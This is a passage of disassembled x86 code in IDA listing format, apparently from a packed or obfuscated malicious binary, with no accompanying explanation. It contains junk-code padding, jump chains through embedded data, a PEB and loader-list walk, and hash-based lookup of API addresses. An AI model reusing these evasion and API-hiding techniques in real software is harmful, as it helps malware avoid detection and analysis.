		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh
; ---------------------------------------------------------------------------
		pop	ss


loc_403155:				; CODE XREF: sub_4021E2:loc_403118j
		jmp	loc_4032E2
; ---------------------------------------------------------------------------
		jmp	short loc_403189
; ---------------------------------------------------------------------------
		setl	byte ptr [ebp+21882B7Ah]
		inc	esi
		pop	es
		xor	al, 5Dh


loc_403167:				; CODE XREF: sub_4021E2:loc_403189j
		jmp	short loc_403199
; ---------------------------------------------------------------------------
		db 0D2h, 0A3h, 0A0h
		dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh, 0FCEFCEC9h
		dd 0E80BDA85h, 94E7A601h
		db 3Dh
; ---------------------------------------------------------------------------


loc_403189:				; CODE XREF: sub_4021E2+F78j
		jmp	short loc_403167
; ---------------------------------------------------------------------------
		db 32h
		dd 7E390083h
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_4021E2:loc_403199j
		jmp	short loc_4031C0
; ---------------------------------------------------------------------------
		fild	qword ptr ds:7118FB8Ah[esi*8]


loc_403199:				; CODE XREF: sub_4021E2:loc_403167j
		jmp	short loc_403190
; ---------------------------------------------------------------------------
		db 56h
		dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h
		dd 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_4021E2+BB8j
					; sub_4021E2:loc_403190j
		push	95902B19h
		push	edi
		push	ebx
		xchg	ebx, ebx
		inc	edi
		rol	edi, 0Bh
		dec	edi
		cld
		pop	ebx
		pop	edi
		push	dword ptr [ebp+10h]
		jmp	short loc_4031FF
; ---------------------------------------------------------------------------
		dw 0CB9Ah
		db 0A8h
; ---------------------------------------------------------------------------


loc_4031D9:				; CODE XREF: sub_4021E2:loc_4031FFj
		jmp	short loc_403212
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h
		dd 69F033A2h, 251C8FEEh, 0A108ABFAh
		db 0C6h, 87h, 0B4h
; ---------------------------------------------------------------------------


loc_4031FF:				; CODE XREF: sub_4021E2+FF2j
		jmp	short loc_4031D9
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]
		and	cl, bl


loc_403206:				; CODE XREF: sub_4021E2:loc_403212j
		jmp	short loc_403235
; ---------------------------------------------------------------------------
		dd 954C7F9Eh, 11389BAAh
; ---------------------------------------------------------------------------
		jbe	short loc_403289


loc_403212:				; CODE XREF: sub_4021E2:loc_4031D9j
		jmp	short loc_403206
; ---------------------------------------------------------------------------
		dd 13024DE4h, 6F4E4950h, 8B5A057Ch, 67268168h, 3B2BD14h
		dd 5FFEB980h, 7B0A75ACh, 57D6F198h
		db 44h
; ---------------------------------------------------------------------------


loc_403235:				; CODE XREF: sub_4021E2:loc_403206j
		call	near ptr sub_401692
		push	esi
		push	eax
		sub	esi, 819CDAh
		dec	esi
		dec	esi
		xor	esi, ebp
		not	esi
		test	al, ah
		test	cl, al
		test	ecx, eax
		rep cld
		pop	eax
		pop	esi
		push	0
		push	edi
		push	esi
		mov	edi, 80899Ah
		push	ebp
		pop	edi


loc_40325D:				; CODE XREF: sub_4021E2+10BBj
		cmp	ebp, eax
		lea	edi, ds:80C85Ah
		xchg	edi, edi
		clc
		cmc
		cld
		pop	esi
		pop	edi
		call	eax
		jmp	short loc_403299
; ---------------------------------------------------------------------------
		db 0C8h, 61h, 86h
; ---------------------------------------------------------------------------


loc_403273:				; CODE XREF: sub_4021E2:loc_403299j
		jmp	short loc_4032AC
; ---------------------------------------------------------------------------
		db 47h,	74h, 9Dh
		dd 99E0E312h, 550C3F5Eh, 0D1F85B6Ah, 0DA43736h
		db 0C2h
; ---------------------------------------------------------------------------


loc_403289:				; CODE XREF: sub_4021E2+102Ej
		rcl	dword ptr [eax], cl
		or	[esi], ecx
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx
		out	27h, al
		aam	7Dh
; ---------------------------------------------------------------------------
		db 72h
; ---------------------------------------------------------------------------


loc_403299:				; CODE XREF: sub_4021E2+108Cj
		jmp	short loc_403273
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		inc	eax
		jns	short loc_40325D
		pop	ds


loc_4032A0:				; CODE XREF: sub_4021E2:loc_4032ACj
		jmp	short loc_4032CF
; ---------------------------------------------------------------------------
		dw 356Ch
		dd 0B1583BCAh, 0ED041796h
; ---------------------------------------------------------------------------


loc_4032AC:				; CODE XREF: sub_4021E2:loc_403273j
		jmp	short loc_4032A0
; ---------------------------------------------------------------------------
		and	dh, [ebx+0F6EE970h]
		pushf


loc_4032B5:				; CODE XREF: sub_4021E2:loc_4032CFj
		jmp	short loc_4032E2
; ---------------------------------------------------------------------------
		db 0A5h
		dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah
		db 0F6h, 0F7h, 64h
; ---------------------------------------------------------------------------


loc_4032CF:				; CODE XREF: sub_4021E2:loc_4032A0j
		jmp	short loc_4032B5
; ---------------------------------------------------------------------------
		db 0CDh, 82h, 93h
		dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h
		db 94h,	3Dh
; ---------------------------------------------------------------------------


loc_4032E2:				; CODE XREF: sub_4021E2+A57j
					; sub_4021E2:loc_403155j ...
		mov	[edi], eax
		push	ecx
		push	ebx
		mov	ecx, 91AA1Ah
		cmp	ebp, eax
		cld
		pop	ebx
		pop	ecx
		add	dword ptr [ebp-8], 4
		push	edx
		push	ebx
		shl	edx, 46h
		push	ecx
		pop	edx
		mov	bx, 4951h
		not	ebx
		cld
		pop	ebx
		pop	edx
		jmp	loc_402755
; ---------------------------------------------------------------------------
		jmp	short loc_403339
; ---------------------------------------------------------------------------
		db 18h
		dd 0C4D75671h
		db 0ADh, 0E2h
; ---------------------------------------------------------------------------


loc_403312:				; CODE XREF: sub_4021E2:loc_403339j
		jmp	short loc_403349
; ---------------------------------------------------------------------------
		dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h
		dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h
; ---------------------------------------------------------------------------
		scasd


loc_403339:				; CODE XREF: sub_4021E2+1127j
		jmp	short loc_403312
; ---------------------------------------------------------------------------
		db 0BCh
		db 45h,	9Ah, 0CBh
; ---------------------------------------------------------------------------


loc_40333F:				; CODE XREF: sub_4021E2:loc_403349j
		jmp	short loc_40336C
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h
; ---------------------------------------------------------------------------
		inc	ebx


loc_403349:				; CODE XREF: sub_4021E2:loc_403312j
		jmp	short loc_40333F
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh, 1C8FEE69h
		dd 8ABFA25h, 0B487C6A1h, 202352DDh
; ---------------------------------------------------------------------------


loc_40336C:				; CODE XREF: sub_4021E2+710j
					; sub_4021E2:loc_40333Fj
		mov	[esi], eax
		push	ecx
		push	edi
		repne xor ecx, 80CD9Ah
		xchg	edi, ecx
		lea	edi, ds:80C81Ah
		cld
		pop	edi
		pop	ecx
		mov	[esi+0Ch], eax
		jmp	short loc_4033B6
; ---------------------------------------------------------------------------
		db 0AAh
		db 9Bh,	38h
; ---------------------------------------------------------------------------


loc_40338A:				; CODE XREF: sub_4021E2:loc_4033B6j
		jmp	short loc_4033C9
; ---------------------------------------------------------------------------
		dd 0E4777611h, 5013024Dh, 7C6F4E49h, 688B5A05h,	14672681h
		dd 8003B2BDh, 0AC5FFEB9h, 987B0A75h, 4457D6F1h,	0B0F3622Dh
		db 29h,	0AEh
; ---------------------------------------------------------------------------


loc_4033B6:				; CODE XREF: sub_4021E2+11A3j
		jmp	short loc_40338A
; ---------------------------------------------------------------------------
		dd 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h
; ---------------------------------------------------------------------------
		aas


loc_4033C9:				; CODE XREF: sub_4021E2:loc_40338Aj
		mov	[esi+10h], eax
		jmp	short loc_4033FB
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1


loc_4033D1:				; CODE XREF: sub_4021E2:loc_4033FBj
		jmp	short loc_40340E
; ---------------------------------------------------------------------------
		db 37h
		dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch, 27E64128h,	0C3727DD4h
		dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h
		db 70h,	0E9h, 6Eh
; ---------------------------------------------------------------------------


loc_4033FB:				; CODE XREF: sub_4021E2+11EAj
		jmp	short loc_4033D1
; ---------------------------------------------------------------------------
		setl	byte ptr [ebp+21882B7Ah]
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl


loc_40340E:				; CODE XREF: sub_4021E2:loc_4033D1j
		add	esi, 14h
		push	esi
		push	edi
		xor	edi, ebx
		mov	di, 4E6Eh
		neg	esi
		rcl	esi, 98h
		xor	esi, ecx
		mov	esi, esi
		cld
		pop	edi
		pop	esi
		mov	edx, [ebp+0Ch]
		jmp	short loc_403454
; ---------------------------------------------------------------------------
		dw 64F7h
		dd 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h
		db 1
; ---------------------------------------------------------------------------


loc_403439:				; CODE XREF: sub_4021E2:loc_403454j
		jmp	short loc_40346B
; ---------------------------------------------------------------------------
		db 0A6h
		dd 323D94E7h, 7E390083h, 8AF52CDFh, 567118FBh, 0E2ADC4D7h
		dd 2EA93073h
; ---------------------------------------------------------------------------


loc_403454:				; CODE XREF: sub_4021E2+1246j
		jmp	short loc_403439
; ---------------------------------------------------------------------------
		dw 5CCFh
		db 65h,	3Ah
; ---------------------------------------------------------------------------


loc_40345A:				; CODE XREF: sub_4021E2:loc_40346Bj
		jmp	short loc_40348A
; ---------------------------------------------------------------------------
		jmp	short loc_4034A6
; ---------------------------------------------------------------------------
		dw 6E1h
		dd 921DF4C7h, 0DE196063h
		db 0BFh, 8Ch, 0D5h
; ---------------------------------------------------------------------------


loc_40346B:				; CODE XREF: sub_4021E2:loc_403439j
		jmp	short loc_40345A
; ---------------------------------------------------------------------------
		db 0EAh, 0DBh, 78h
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh
		db 0F9h, 3Eh
; ---------------------------------------------------------------------------


loc_40348A:				; CODE XREF: sub_4021E2:loc_40345Aj
		jmp	loc_402379
; ---------------------------------------------------------------------------
		push	ecx
		push	esi
		xor	ecx, edi
		cld
		cld
		pop	esi
		pop	ecx


loc_403497:				; CODE XREF: sub_4021E2+214j
		pop	ebx
		jmp	short loc_4034C7
; ---------------------------------------------------------------------------
		dw 9716h
		db 84h
; ---------------------------------------------------------------------------


loc_40349D:				; CODE XREF: sub_4021E2:loc_4034C7j
		jmp	short loc_4034DA
; ---------------------------------------------------------------------------
		db 6Dh
		dd 69F033A2h
		db 0EEh, 8Fh
; ---------------------------------------------------------------------------


loc_4034A6:				; CODE XREF: sub_4021E2+127Aj
		sbb	al, 25h
		cli
		stosd
		or	[ecx-224B783Ah], ah
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl
		jbe	short loc_403535
		in	al, 4Dh
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi
		outsd
; ---------------------------------------------------------------------------
		db 7Ch
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_4021E2+12B6j
		jmp	short loc_40349D
; ---------------------------------------------------------------------------
		db 5
; ---------------------------------------------------------------------------


loc_4034CA:				; CODE XREF: sub_4021E2:loc_4034DAj
		jmp	short loc_4034F5
; ---------------------------------------------------------------------------
		dd 81688B5Ah, 0BD146726h, 0B98003B2h
		db 0FEh, 5Fh
; ---------------------------------------------------------------------------


loc_4034DA:				; CODE XREF: sub_4021E2:loc_40349Dj
		jmp	short loc_4034CA
; ---------------------------------------------------------------------------
		dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h,	6BBAE5DCh
		dd 478661C8h
		db 74h
; ---------------------------------------------------------------------------


loc_4034F5:				; CODE XREF: sub_4021E2:loc_4034CAj
		pop	edi


loc_4034F6:				; CODE XREF: sub_4021E2+1354j
		push	ecx
		push	ebx
		mov	ecx, 80A29Ah
		or	ecx, 818E9Ah
		mov	ebx, 808C6Ah
		test	al, ch
		inc	ebx
		xor	ebx, edi
		push	eax
		pop	ebx
		cmp	edx, ebp
		cmp	ebp, ebx
		cld
		pop	ebx
		pop	ecx
		pop	esi
		jmp	short loc_403544
; ---------------------------------------------------------------------------
		push	5Bh
		clc


loc_40351C:				; CODE XREF: sub_4021E2:loc_403544j
		jmp	short loc_403557
; ---------------------------------------------------------------------------
		dw 36D1h
		dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_403535:				; CODE XREF: sub_4021E2+12DAj
		inc	eax
		jns	short loc_4034F6
		pop	ds
		insb
		xor	eax, 0B1583BCAh
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
; ---------------------------------------------------------------------------
		db 22h
; ---------------------------------------------------------------------------


loc_403544:				; CODE XREF: sub_4021E2+1335j
		jmp	short loc_40351C
; ---------------------------------------------------------------------------
		dw 70B3h
		db 0E9h
; ---------------------------------------------------------------------------


loc_403549:				; CODE XREF: sub_4021E2:loc_403557j
		jmp	short loc_40357A
; ---------------------------------------------------------------------------
		db 6Eh
; ---------------------------------------------------------------------------
		setl	byte ptr [ebp+21882B7Ah]
		inc	esi
		pop	es
		xor	al, 5Dh


loc_403557:				; CODE XREF: sub_4021E2:loc_40351Cj
		jmp	short loc_403549
; ---------------------------------------------------------------------------
		db 0D2h, 0A3h, 0A0h
		dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h, 0D09382CDh
		db 0C9h, 0CEh
; ---------------------------------------------------------------------------


loc_40356E:				; CODE XREF: sub_4021E2:loc_40357Aj
		jmp	short locret_40359D
; ---------------------------------------------------------------------------
		dd 0DA85FCEFh, 0A601E80Bh
		db 0E7h, 94h
; ---------------------------------------------------------------------------


loc_40357A:				; CODE XREF: sub_4021E2:loc_403549j
		jmp	short loc_40356E
; ---------------------------------------------------------------------------
		dd 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh
		dd 5CCF2EA9h, 48EB3A65h, 0F4C706E1h
		db 1Dh
; ---------------------------------------------------------------------------

locret_40359D:				; CODE XREF: sub_4021E2:loc_40356Ej
		leave
		push	edi
		push	ecx
		cmp	al, 0EFh
		dec	ecx
		cld
		pop	ecx
		pop	edi
		retn	0Ch
sub_4021E2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_4035DB
; ---------------------------------------------------------------------------
		aad	0EAh
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw


loc_4035C2:				; CODE XREF: .text:loc_4035DBj
		jmp	short loc_4035F2
; ---------------------------------------------------------------------------
		dd 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h,	33A26D84h
		db 0F0h, 69h, 0EEh
; ---------------------------------------------------------------------------


loc_4035DB:				; CODE XREF: .text:004035A9j
		jmp	short loc_4035C2
; ---------------------------------------------------------------------------
		db 8Fh,	1Ch, 25h
		db 0FAh, 0ABh, 8
; ---------------------------------------------------------------------------


loc_4035E3:				; CODE XREF: .text:loc_4035F2j
		jmp	short near ptr sub_403611
; ---------------------------------------------------------------------------
		db 0A1h, 0C6h, 87h
		dd 2352DDB4h, 7F9ED920h
		db 4Ch,	95h
; ---------------------------------------------------------------------------


loc_4035F2:				; CODE XREF: .text:loc_4035C2j
		jmp	short loc_4035E3
; ---------------------------------------------------------------------------
		dd 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah
		dd 0BD146726h, 0B98003B2h
		db 0FEh

; =============== S U B	R O U T	I N E =======================================



sub_403611	proc far		; CODE XREF: .text:loc_4035E3j
					; .text:loc_403DD8p ...

var_C		= dword	ptr -0Ch

		push	ebx
		push	eax
		push	edi
		mov	eax, 809A9Ah
		push	eax
		pop	eax
		mov	edi, ebx
		xor	edi, esi
		cld
		pop	edi
		pop	eax
		push	edi
		jmp	short loc_403652
; ---------------------------------------------------------------------------
		db 57h,	44h, 2Dh
		dd 29B0F362h, 0E5DC4FAEh, 61C86BBAh, 9D744786h,	99E0E312h
		dd 550C3F5Eh, 0D1F85B6Ah, 0DA43736h
; ---------------------------------------------------------------------------


loc_403648:				; CODE XREF: sub_403611:loc_403652j
		jmp	short loc_403675
; ---------------------------------------------------------------------------
		dw 0D3C2h
		dd 2F0E0910h
; ---------------------------------------------------------------------------
		cmp	al, 0C5h


loc_403652:				; CODE XREF: sub_403611+12j
		jmp	short loc_403648
; ---------------------------------------------------------------------------
		db 1Ah
; ---------------------------------------------------------------------------


loc_403655:				; CODE XREF: sub_403611:loc_403675j
		jmp	short loc_403685
; ---------------------------------------------------------------------------
		db 4Bh
		dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch,	1796B158h
		dd 0B322ED04h, 0F6EE970h
; ---------------------------------------------------------------------------
		pushf


loc_403675:				; CODE XREF: sub_403611:loc_403648j
		jmp	short loc_403655
; ---------------------------------------------------------------------------
		db 0A5h
		dd 21882B7Ah, 5D340746h, 59A0A3D2h
; ---------------------------------------------------------------------------
		push	ds


loc_403685:				; CODE XREF: sub_403611:loc_403655j
		mov	eax, large fs:30h
		push	edi
		push	esi
		jns	short loc_403691
		push	ebp
		pop	esi


loc_403691:				; CODE XREF: sub_403611+7Cj
		xor	edi, edi
		inc	esi
		cld
		pop	esi
		pop	edi
		mov	eax, [eax+0Ch]
		push	edi
		push	esi
		not	edi
		std
		cld
		pop	esi
		pop	edi
		mov	edi, [eax+0Ch]
		push	esi
		push	ecx
		lea	ecx, ds:808B9Ah
		push	edi
		pop	ecx
		mov	esi, edi
		stc
		cld
		pop	ecx
		pop	esi
		push	edi
		jmp	short loc_4036E1
; ---------------------------------------------------------------------------
		db 64h,	0CDh, 82h
; ---------------------------------------------------------------------------


loc_4036BB:				; CODE XREF: sub_403611:loc_4036E1j
		jmp	short loc_4036F4
; ---------------------------------------------------------------------------
		db 93h,	0D0h, 0C9h
		dd 85FCEFCEh, 1E80BDAh,	3D94E7A6h, 39008332h, 0F52CDF7Eh
		dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h
		db 2Eh
; ---------------------------------------------------------------------------


loc_4036E1:				; CODE XREF: sub_403611+A5j
		jmp	short loc_4036BB
; ---------------------------------------------------------------------------
		db 0CFh
		dd 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h
; ---------------------------------------------------------------------------


loc_4036F4:				; CODE XREF: sub_403611:loc_4036BBj
					; sub_403611+26Ej
		mov	eax, [edi+18h]
		push	ebx
		push	esi
		xchg	ebx, ebx
		rcl	esi, 0A6h
		inc	esi
		clc
		cld
		pop	esi
		pop	ebx
		mov	ebx, eax
		push	ebx
		push	esi
		lea	esi, ds:809F9Ah
		lea	esi, ds:828B9Ah
		lea	ebx, ds:808CDAh
		stc
		cld
		pop	esi
		pop	ebx
		add	ebx, [edi+20h]
		push	edi
		push	ecx
		inc	edi
		xor	ecx, ebx
		cld
		pop	ecx
		pop	edi
		cmp	[esp+0Ch], eax
		jbe	loc_403833
		push	edi
		push	ebx
		mov	edi, esp
		inc	edi
		mov	di, 4948h
		not	edi
		xchg	ebx, ebx
		cld
		pop	ebx
		pop	edi
		cmp	[esp+0Ch], ebx
		jnb	loc_403833
		jmp	short loc_403772
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx


loc_403755:				; CODE XREF: sub_403611:loc_403772j
		jmp	short loc_403782
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h
		dd 33A26D84h
		db 0F0h, 69h
; ---------------------------------------------------------------------------


loc_403772:				; CODE XREF: sub_403611+13Bj
		jmp	short loc_403755
; ---------------------------------------------------------------------------
		dd 251C8FEEh, 0A108ABFAh, 0DDB487C6h
		db 52h,	23h
; ---------------------------------------------------------------------------


loc_403782:				; CODE XREF: sub_403611:loc_403755j
		pop	edi
		push	ebx
		push	ecx
		lea	ebx, ds:80A19Ah
		inc	ecx
		cld
		pop	ecx
		pop	ebx
		pop	edi
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------
		dw 7776h
		dd 13024DE4h
; ---------------------------------------------------------------------------
		push	eax


loc_403799:				; CODE XREF: sub_403611:loc_4037C0j
		jmp	short loc_4037D0
; ---------------------------------------------------------------------------
		db 49h
		dd 57C6F4Eh, 81688B5Ah,	0BD146726h, 0B98003B2h,	75AC5FFEh
		dd 0F1987B0Ah, 2D4457D6h, 29B0F362h, 0E5DC4FAEh
; ---------------------------------------------------------------------------


loc_4037C0:				; CODE XREF: sub_403611+17Fj
		jmp	short loc_403799
; ---------------------------------------------------------------------------
		dw 6BBAh
		db 0C8h, 61h
; ---------------------------------------------------------------------------


loc_4037C6:				; CODE XREF: sub_403611:loc_4037D0j
		jmp	short loc_4037F3
; ---------------------------------------------------------------------------
		dd 9D744786h, 99E0E312h
; ---------------------------------------------------------------------------


loc_4037D0:				; CODE XREF: sub_403611:loc_403799j
		jmp	short loc_4037C6
; ---------------------------------------------------------------------------
		pop	esi


loc_4037D3:				; CODE XREF: sub_403611:loc_4037F3j
		jmp	short loc_403805
; ---------------------------------------------------------------------------
		db 3Fh,	0Ch, 55h
		dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh,	41284B1Ah
		dd 7DD427E6h
		db 72h,	0C3h, 40h
; ---------------------------------------------------------------------------


loc_4037F3:				; CODE XREF: sub_403611:loc_4037C6j
		jmp	short loc_4037D3
; ---------------------------------------------------------------------------
		db 79h,	0BEh, 1Fh
		dd 3BCA356Ch, 1796B158h, 0B322ED04h
		db 70h
; ---------------------------------------------------------------------------


loc_403805:				; CODE XREF: sub_403611:loc_4037D3j
		pop	ebx
		push	edi
		push	esi
		test	al, ch
		dec	edi
		not	edi
		jmp	loc_403818
; ---------------------------------------------------------------------------
		not	edi
		xor	edi, ebp
		cmp	al, 0F5h


loc_403818:				; CODE XREF: sub_403611+1FCj
		mov	esi, edx
		inc	edi
		cld
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------
		push	edi
		push	eax
		lea	edi, ds:808D1Ah
		mov	di, 4BC6h
		cmp	bh, bh
		inc	edi
		xor	eax, ebp
		cld
		pop	eax
		pop	edi


loc_403833:				; CODE XREF: sub_403611+11Bj
					; sub_403611+135j
		mov	edi, [edi]
		jmp	short loc_403864
; ---------------------------------------------------------------------------
		and	[esi+7], eax


loc_40383A:				; CODE XREF: sub_403611:loc_403864j
		jmp	short loc_40387C
; ---------------------------------------------------------------------------
		dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h, 9382CD64h
		dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h
; ---------------------------------------------------------------------------


loc_403864:				; CODE XREF: sub_403611+224j
		jmp	short loc_40383A
; ---------------------------------------------------------------------------
		dw 0F52Ch
		dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah
; ---------------------------------------------------------------------------


loc_40387C:				; CODE XREF: sub_403611:loc_40383Aj
		cmp	[esp+0], edi
		jnz	loc_4036F4
		jmp	short loc_4038B6
; ---------------------------------------------------------------------------
		db 92h
		db 63h,	60h
; ---------------------------------------------------------------------------


loc_40388A:				; CODE XREF: sub_403611:loc_4038B6j
		jmp	short loc_4038CC
; ---------------------------------------------------------------------------
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_4038E6
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
; ---------------------------------------------------------------------------
		xor	[esi], edx


loc_4038B6:				; CODE XREF: sub_403611+274j
		jmp	short loc_40388A
; ---------------------------------------------------------------------------
		xchg	eax, edi
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd
		or	[ecx-224B783Ah], ah
		push	edx


loc_4038CC:				; CODE XREF: sub_403611:loc_40388Aj
		pop	edi
		jmp	short loc_4038F2
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		stosb
		wait


loc_4038D2:				; CODE XREF: sub_403611:loc_4038F2j
		jmp	short loc_403902
; ---------------------------------------------------------------------------
		dd 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch
		db 68h,	81h
; ---------------------------------------------------------------------------


loc_4038E6:				; CODE XREF: sub_403611+282j
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
; ---------------------------------------------------------------------------
		dd 5FFEB980h
		db 0ACh, 75h
; ---------------------------------------------------------------------------


loc_4038F2:				; CODE XREF: sub_403611+2BCj
		jmp	short loc_4038D2
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]
		icebp
		setalc
		push	edi
		inc	esp


loc_4038FB:				; CODE XREF: sub_403611:loc_403902j
		jmp	short loc_403929
; ---------------------------------------------------------------------------
		sub	eax, 29B0F362h


loc_403902:				; CODE XREF: sub_403611:loc_4038D2j
		jmp	short loc_4038FB
; ---------------------------------------------------------------------------
		dd 0E5DC4FAEh, 61C86BBAh, 9D744786h, 99E0E312h,	550C3F5Eh
		dd 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh
		db 1Ah
; ---------------------------------------------------------------------------


loc_403929:				; CODE XREF: sub_403611:loc_4038FBj
		pop	ebx
		push	edi
		push	eax
		cmp	al, 0D7h
		xor	edi, esp
		shl	eax, 0FCh
		cmp	esp, eax
		mov	eax, 8089DAh
		mov	eax, edx
		neg	edi
		mov	ax, 493Ch
		dec	edi
		cld
		pop	eax
		pop	edi
		retn
sub_403611	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edx
		push	esi
		test	ecx, eax
		test	al, ch
		not	edx
		push	edi
		pop	esi
		xor	edx, eax
		mov	si, 496Bh
		cmp	bl, ah
		stc
		push	edx
		pop	esi
		cld
		pop	esi
		pop	edx


loc_40395F:				; CODE XREF: .text:loc_401302j
		pusha
		push	edx
		push	ecx
		shr	ecx, 0FFh
		mov	edx, eax
		mov	ecx, 80A05Ah
		push	ebp
		pop	edx
		push	eax
		pop	ecx
		not	ecx
		xchg	ecx, ecx
		cmp	ebx, edx
		xchg	ecx, ecx
		inc	ecx
		cld
		pop	ecx
		pop	edx
		call	near ptr sub_401346
		push	esi
		push	ebx
		jmp	loc_40398B
; ---------------------------------------------------------------------------
		neg	esi
		dec	esi


loc_40398B:				; CODE XREF: .text:00403983j
		xor	esi, eax
		xor	ebx, esp
		test	eax, edx
		inc	esi
		cld
		pop	ebx
		pop	esi
		push	0CB932CE2h
		push	eax
		push	ebx
		mov	ebx, edi
		sub	eax, 80A8DAh
		push	esi
		pop	eax
		rcl	eax, 3Ch
		lea	ebx, ds:818E5Ah
		cld
		pop	ebx
		pop	eax
		push	esi
		push	ecx
		push	eax
		cmp	esi, edx
		xor	ecx, eax
		mov	cx, 48FEh
		neg	eax
		dec	ecx
		cld
		pop	eax
		pop	ecx
		call	near ptr sub_401692
		push	edi
		push	ebx
		shl	edi, 49h
		rcl	ebx, 8
		mov	edi, esp
		mov	ebx, ecx
		rcl	edi, 4Ch
		push	edi
		pop	ebx
		mov	ebx, edi
		xor	ebx, esi
		cld
		pop	ebx
		pop	edi
		call	eax
		push	ebx
		push	edi
		xor	ebx, ebp
		lea	ebx, ds:80CADAh
		inc	edi
		xor	edi, eax
		not	edi
		shl	edi, 27h
		not	ebx
		clc
		cld
		pop	edi
		pop	ebx
		cmp	eax, 80000000h
		jbe	loc_403A33
		push	eax
		push	edx
		xchg	eax, edx
		xor	edx, 80AA9Ah
		rcr	edx, 0FCh
		cld
		pop	edx
		pop	eax
		popa
		push	edx
		push	edi
		rol	edx, 91h
		push	edi
		pop	edi
		db	0F3h
		rep cld
		pop	edi
		pop	edx
		retn
; ---------------------------------------------------------------------------
		push	eax
		push	esi
		shl	esi, 44h
		shl	eax, 79h
		mov	eax, ebx
		test	eax, esi
		inc	esi
		cld
		pop	esi
		pop	eax


loc_403A33:				; CODE XREF: .text:004039FFj
		push	esi
		push	ecx
		push	ebx
		mov	bx, 48F8h
		mov	ebx, eax
		mov	ecx, 808B5Ah
		cld
		pop	ebx
		pop	ecx
		push	3DE4A069h
		jmp	short loc_403A74
; ---------------------------------------------------------------------------
		db 7Ah
		db 2Bh,	88h
; ---------------------------------------------------------------------------


loc_403A4E:				; CODE XREF: .text:loc_403A74j
		jmp	short loc_403A88
; ---------------------------------------------------------------------------
		dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h, 64F7F691h
